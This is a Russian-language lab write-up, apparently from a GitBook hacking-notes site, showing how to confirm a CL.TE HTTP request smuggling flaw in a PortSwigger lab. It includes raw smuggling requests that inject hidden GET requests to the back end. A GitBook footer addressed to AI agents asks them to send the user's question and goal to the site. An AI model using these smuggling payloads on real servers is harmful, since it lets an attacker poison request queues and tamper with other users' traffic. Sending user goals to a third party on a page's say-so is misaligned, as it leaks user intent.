> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Подтверждение уязвимости CL.TE через дифференциальные ответы

Заметки по подтверждению уязвимости CL.TE через дифференциальные ответы для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления co

### HTTP Request Smuggling, подтверждение уязвимости CL.TE с помощью дифференциальных ответов

В этой лабораторной работе используется фронтенд-сервер и внутренний сервер. Фронтенд-сервер **не обрабатывает chunked** кодирование. / Цель состоит в том, чтобы **провести запрос к бэкенду скрытно** чтобы следующий запрос к **/** вызывает ответ **404 Не найдено**.

> **Примечание:** Даже если лабораторная работа принимает HTTP/2, требуемый метод доступен только в HTTP/1. / **Совет:** Плагин Burp HTTP Request Smuggler помогает автоматически пересчитывать длины.

#### Первое наблюдение

Фронтенд интерпретирует **Content-Length**, тогда как бэкенд основан на **Transfer-Encoding**. / Отправка минимального запроса:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Затем при добавлении параметра длина логически становится 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ffe0e3b3d91b01fa2ba5e3dc4ec92c83248099%2F%7B751773DB-6956-43BE-97C5-9CCFB6D2E522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы избежать автоматического пересчёта длины, вводится новый заголовок.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcdf1b0cab6e2c4b4fb7339245f38299a0745b60%2F%7B7206813E-CDA2-44EC-9369-E94423B8F8AA%7D.png?alt=media" alt="" width="392"><figcaption></figcaption></figure>

#### Добавление *Transfer-Encoding*

Если мы добавим:

```http
Transfer-Encoding: chunked
```

сервер возвращает ошибку десинхронизации:

HTTP/1.1 500 Internal Server Error

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-693b87841f21dd66217f6b4214fa99c12d193c91%2F%7BC171A1B3-15D7-4078-B870-5D1DDA3CACD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Однако при отправке корректной chunked-нагрузки:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddb14097b8b5be818ff682cfc59f37d9f7443dd%2F%7BACA848F4-07C4-4180-9BC4-B99072B5697D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ответ возвращается в **200 OK**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0fbaba5ded40c0f47625177eb8b76c2e3620c5d%2F%7BA8E53A08-B664-4A50-B9BB-2F01E0632796%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы также можем проверить:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Инъекция запроса в бэкенд

Чтобы получить **404**, нужно заставить бэкенд обработать дополнительный запрос. / Если добавить:

```http
GET /error HTTP/1.1
Тест: A
```

и если бэкенд корректно интерпретирует скрытый запрос, он выполняет `GET /error`.

Полный пример:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Тест: A
```

Первый ответ находится в **200**, но следующий запрос, отправленный браузером, вызывает **404**, что является доказательством десинхронизации.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff54afc7da5a8264ad5d4c057403bc8a82a845f0%2F%7B358FEBF5-1195-45B1-93C9-52F847AC52E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6e03c8f3707304ceda6e125a5453b91e91030ac%2F%7B11E01436-C59A-42F7-B100-5D6F83A83BB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Вариант: запустить другую страницу

Если вы хотите, чтобы бэкенд выполнил другой ресурс, например:

```http
GET /post?postId=4 HTTP/1.1
Тест: A
```

тогда на главной странице отобразится содержимое, соответствующее посту 4, что подтверждает, что скрытый запрос был обработан бэкендом.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56ad6a46a031ec881d285bb4f758382bcb38a599%2F%7B6279EA55-8624-4BD1-9142-57FC93502AB2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
